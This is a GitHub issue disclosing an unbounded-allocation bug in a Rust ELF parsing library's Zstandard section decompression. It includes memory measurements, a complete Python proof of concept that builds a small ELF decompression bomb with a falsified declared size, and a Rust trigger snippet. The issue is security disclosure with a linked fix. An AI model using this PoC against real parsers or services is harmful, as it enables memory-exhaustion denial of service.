Skip to content

Zstandard-compressed section decodes past the declared size (unbounded allocation / OOM) #950

Description

@scadastrangelove

When reading a compressed section, CompressedData::decompress reserves try_reserve_exact(size) for the header-declared uncompressed size. The Zlib branch stays within that reservation (flate2's decompress_vec errors rather than growing), but the Zstandard branch calls decoder.read_to_end(&mut decompressed), which grows the buffer to the actual decoded length, ignoring the reservation — the size != decompressed.len() check only runs afterwards.

A crafted ELF SHF_COMPRESSED section that declares a tiny ch_size (so the reservation succeeds) but carries a zstd stream expanding to gigabytes therefore drives an unbounded allocation via the default Section::uncompressed_data() path (default compression feature), before the size check rejects it.

Reproduced on 0.39.1 and current main. A/B on the same ELF, only ch_type changed (both declare ch_size = 64, both expand to 200 MB):

ch_type peak RSS
ELFCOMPRESS_ZLIB ~3 MB (bounded by the reservation, errors)
ELFCOMPRESS_ZSTD ~386 MB (grows to the full decoded size, then errors)

An RLE-maximized frame reaches ~40,000× amplification (a sub-MB section → multi-GB → hard OOM).

PoC (a 6.7 KB ELF)

import struct, sys, subprocess
mb = 200
raw = b"\x00" * (mb << 20)
try:
    import zstandard as zstd; frame = zstd.ZstdCompressor(level=1).compress(raw)
except Exception:
    frame = subprocess.run(["zstd", "-1", "-c"], input=raw, capture_output=True).stdout
chdr = struct.pack("<IIQQ", 2, 0, 64, 1)              # ch_type=ELFCOMPRESS_ZSTD, ch_size=64 (the lie)
secdata = chdr + frame
shstr = b"\x00.z\x00.shstrtab\x00"
off_sec = 64; off_sh = off_sec + len(secdata); off_shdrs = off_sh + len(shstr)
def shdr(name, typ, flags, off, size, align=1):
    return struct.pack("<IIQQQQIIQQ", name, typ, flags, 0, off, size, 0, 0, align, 0)
shdrs = shdr(0,0,0,0,0) \
      + shdr(1, 1, 0x2 | 0x800, off_sec, len(secdata)) \
      + shdr(shstr.index(b".shstrtab"), 3, 0, off_sh, len(shstr))
ehdr = b"\x7fELF" + bytes([2,1,1,0]) + b"\x00"*8 \
     + struct.pack("<HHIQQQIHHHHHH", 1, 62, 1, 0, 0, off_shdrs, 0, 64, 0, 0, 64, 3, 2)
open(sys.argv[1] if len(sys.argv) > 1 else "poc.elf", "wb").write(ehdr + secdata + shstr + shdrs)

Then any consumer that walks sections and calls uncompressed_data() (e.g. reading section contents) allocates the full decoded size:

let file = object::File::parse(&*data)?;
for s in file.sections() { let _ = s.uncompressed_data(); }   // allocates ~386 MB from a 6.7 KB file

Discovered by the rust-in-peace security pipeline; a fix is in the linked PR.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions